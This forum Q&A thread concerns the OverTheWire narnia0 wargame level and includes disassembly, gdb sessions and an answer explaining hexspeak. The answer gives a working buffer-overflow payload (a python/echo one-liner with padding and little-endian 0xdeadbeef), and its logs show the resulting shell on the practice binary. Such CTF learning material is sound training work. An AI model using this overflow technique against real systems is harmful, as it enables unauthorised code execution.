2

I am playing a wargame at narnia.labs.overthewire.org. I came arcoss a level called narnia0 which requires me to change the value 0x414141414 into 0xdeadbeef. So far, I have already looked at the source code and reverse engineered the binary. What is 0xdeadbeef in exploitation and how do I change the value from 0x414141 in ebp to 0xdeadbeef. I've done some research in hexadecimal values/conversion for this challenge.

What is 0xdeadbeef in general and how does it realate in exploiation? How do I change ebp value 0x41414141 to 0xdeadbeef ?

You can see my problem analysis below:

080484c4 <main>:
  80484c4:       55                      push   %ebp
  80484c5:       89 e5                   mov    %esp,%ebp
  80484c7:       83 e4 f0                and    $0xfffffff0,%esp
  80484ca:       83 ec 30                sub    $0x30,%esp
  80484cd:       c7 44 24 2c 41 41 41    movl   $0x41414141,0x2c(%esp)
  80484d4:       41 
  80484d5:       c7 04 24 40 86 04 08    movl   $0x8048640,(%esp)
  80484dc:       e8 cf fe ff ff          call   80483b0 <puts@plt>
  80484e1:       b8 73 86 04 08          mov    $0x8048673,%eax
  80484e6:       89 04 24                mov    %eax,(%esp)
  80484e9:       e8 b2 fe ff ff          call   80483a0 <printf@plt>
  80484ee:       b8 89 86 04 08          mov    $0x8048689,%eax
  80484f3:       8d 54 24 18             lea    0x18(%esp),%edx
  80484f7:       89 54 24 04             mov    %edx,0x4(%esp)
  80484fb:       89 04 24                mov    %eax,(%esp)
  80484fe:       e8 fd fe ff ff          call   8048400 <__isoc99_scanf@plt>
  8048503:       b8 8e 86 04 08          mov    $0x804868e,%eax
  8048508:       8d 54 24 18             lea    0x18(%esp),%edx
  804850c:       89 54 24 04             mov    %edx,0x4(%esp)
  8048510:       89 04 24                mov    %eax,(%esp)
  8048513:       e8 88 fe ff ff          call   80483a0 <printf@plt>
  8048518:       b8 97 86 04 08          mov    $0x8048697,%eax
  804851d:       8b 54 24 2c             mov    0x2c(%esp),%edx 
  8048521:       89 54 24 04             mov    %edx,0x4(%esp)
  8048525:       89 04 24                mov    %eax,(%esp)
  8048528:       e8 73 fe ff ff          call   80483a0 <printf@plt>
  804852d:       81 7c 24 2c ef be ad    cmpl   $0xdeadbeef,0x2c(%esp)
  8048534:       de 
  8048535:       75 13                   jne    804854a <main+0x86>
  8048537:       c7 04 24 a4 86 04 08    movl   $0x80486a4,(%esp)
  804853e:       e8 7d fe ff ff          call   80483c0 <system@plt>
  8048543:       b8 00 00 00 00          mov    $0x0,%eax
  8048548:       c9                      leave  
  8048549:       c3                      ret    
  804854a:       c7 04 24 ac 86 04 08    movl   $0x80486ac,(%esp)
  8048551:       e8 5a fe ff ff          call   80483b0 <puts@plt>
  8048556:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)
  804855d:       e8 7e fe ff ff          call   80483e0 <exit@plt>
  8048562:       90                      nop
  8048563:       90                      nop
  8048564:       90                      nop
  8048565:       90                      nop
  8048566:       90                      nop
  8048567:       90                      nop
  8048568:       90                      nop
  8048569:       90                      nop
  804856a:       90                      nop
  804856b:       90                      nop
  804856c:       90                      nop
  804856d:       90                      nop

I know the binary takes input from the user and then prints a challenge message. And, also, I know somewhere else in the binary it does compare to a value and takes two paths of either you getting the flag or trying again. For solving this challenge I have already tried overwriting the ebp register but nothing.

narnia0@melinda:/games/narnia$ gdb ./narnia0
(gdb) dissasemble main
Undefined command: "dissasemble".  Try "help".
(gdb) b * main
Breakpoint 1 at 0x80484c4
(gdb) b * main+105 
Breakpoint 2 at 0x804852d
(gdb) r
Starting program: /games/narnia/narnia0 
Breakpoint 1, 0x080484c4 in main ()
(gdb) n
Single stepping until exit from function main,
which has no line number information.
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAA
buf: AAAAAAAAAAAA
val: 0x41414141
Breakpoint 2, 0x0804852d in main ()
(gdb) i r
eax            0x10     16
ecx            0x0      0
edx            0x0      0
ebx            0xf7fcdff4       -134422540
esp            0xffffd6f0       0xffffd6f0
ebp            0xffffd728       0xffffd728
esi            0x0      0
edi            0x0      0
eip            0x804852d        0x804852d <main+105>
eflags         0x286    [ PF SF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99
3
  • 2
    Could you please clarify what it is you want to know? Be specific!
    – 0xC0000022L
    Jun 24, 2014 at 17:00
  • What i am asking is what is 0xdeedbeef and how it relates to exploiation Jun 25, 2014 at 16:26
  • there is only one connection here: a hacker wrote the sample code and decided it'd be cool to use hexspeak (see perrors answer). The value could be another and the program would still work for the corresponding input.
    – 0xC0000022L
    Jun 26, 2014 at 9:27

1 Answer 1

3

This should be 0xdeadbeef (dead beef), because it is a word that can be spelled in hexadecimal characters.

We usually call this Hexspeak. Other well knowns hexadecimal words are 0xcafebabe or 0xd15ea5e. Together with 133tspeak, it might lead to some interesting (and funny) wording.

Concerning the exploitation of the challenge, I didn't try... But, you are given one chance through the "Here is your chance" prompt. So, try, for example, to do:

python -c 'print("A"*20 + "\xef\xbe\xad\xde")' | ./narnia0

Here is my full log:

(gdb) disas main
Dump of assembler code for function main:
   0x080484c4 <+0>: push   %ebp
   0x080484c5 <+1>: mov    %esp,%ebp
   0x080484c7 <+3>: and    $0xfffffff0,%esp
   0x080484ca <+6>: sub    $0x30,%esp
   0x080484cd <+9>: movl   $0x41414141,0x2c(%esp)
   0x080484d5 <+17>:    movl   $0x8048640,(%esp)
   0x080484dc <+24>:    call   0x80483b0 <puts@plt>
   0x080484e1 <+29>:    mov    $0x8048673,%eax
   0x080484e6 <+34>:    mov    %eax,(%esp)
   0x080484e9 <+37>:    call   0x80483a0 <printf@plt>
   0x080484ee <+42>:    mov    $0x8048689,%eax
   0x080484f3 <+47>:    lea    0x18(%esp),%edx
   0x080484f7 <+51>:    mov    %edx,0x4(%esp)
   0x080484fb <+55>:    mov    %eax,(%esp)
   0x080484fe <+58>:    call   0x8048400 <__isoc99_scanf@plt>
   0x08048503 <+63>:    mov    $0x804868e,%eax
   0x08048508 <+68>:    lea    0x18(%esp),%edx
   0x0804850c <+72>:    mov    %edx,0x4(%esp)
   0x08048510 <+76>:    mov    %eax,(%esp)
   0x08048513 <+79>:    call   0x80483a0 <printf@plt>
   0x08048518 <+84>:    mov    $0x8048697,%eax
   0x0804851d <+89>:    mov    0x2c(%esp),%edx
   0x08048521 <+93>:    mov    %edx,0x4(%esp)
   0x08048525 <+97>:    mov    %eax,(%esp)
   0x08048528 <+100>:   call   0x80483a0 <printf@plt>
   0x0804852d <+105>:   cmpl   $0xdeadbeef,0x2c(%esp)
   0x08048535 <+113>:   jne    0x804854a <main+134>
   0x08048537 <+115>:   movl   $0x80486a4,(%esp)
   0x0804853e <+122>:   call   0x80483c0 <system@plt>
   0x08048543 <+127>:   mov    $0x0,%eax
   0x08048548 <+132>:   leave  
   0x08048549 <+133>:   ret    
   0x0804854a <+134>:   movl   $0x80486ac,(%esp)
   0x08048551 <+141>:   call   0x80483b0 <puts@plt>
   0x08048556 <+146>:   movl   $0x1,(%esp)
   0x0804855d <+153>:   call   0x80483e0 <exit@plt>
End of assembler dump.
(gdb) x /s 0x8048640 
0x8048640:   "Correct val's value from 0x41414141 -> 0xdeadbeef!"
(gdb) x /s 0x8048673
0x8048673:   "Here is your chance: "
(gdb) x /s 0x8048689
0x8048689:   "%24s"
(gdb) quit
narnia0@melinda:/narnia$ python -c 'print("A"*20 + "\xde\xad\xbe\xef")' | ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAޭ��
val: 0xefbeadde
WAY OFF!!!!
narnia0@melinda:/narnia$ python -c 'print("A"*20 + "\xef\xbe\xad\xde")' | ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef

I started by disassembling the main function. Then, I looked at the format strings I could find in the program. The one from the scanf told me that the size of the input string is 24 bytes. I assumed that the buffer is less than that and that the overflow occurs at the end of the string (the last four bytes). Then, I first did a stupid mistake by entering the 0xdeadbeef in big-endian. And, finally, I got it right (second try).

But, I got lucky (or I just did too many of these things recently...).

EDIT: I can't keep the shell open with the Python scripting, the only way out that I found was to display the string with an echo and copy/paste it :

narnia0@melinda:/narnia$ echo $'AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde\xaf'
AAAAAAAAAAAAAAAAAAAAᆳޯ
narnia0@melinda:/narnia$ ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAAAAAAAAAAᆳޯ
buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
$ 
10
  • But perror how this used in exploiation Jun 24, 2014 at 16:02
  • yeah so i enter the hexadecimal transaliton of 0xdeedbeef? Jun 24, 2014 at 16:12
  • Thanks perror one more question how do i get better at exploiation i don't want to be fooled by something like this XD Jun 24, 2014 at 16:31
  • 3
    exploitation... And, I am not quite sure I understand your question... Could you rephrase it ? This bug is just a buffer-overflow, you can learn about it just by Googling a bit. It has been extensively described on the Web.
    – perror
    Jun 24, 2014 at 16:32
  • 5
    There is no magic recipes, just learn and understand how things are at the assembly level.
    – perror
    Jun 24, 2014 at 16:35

Not the answer you're looking for? Browse other questions tagged or ask your own question.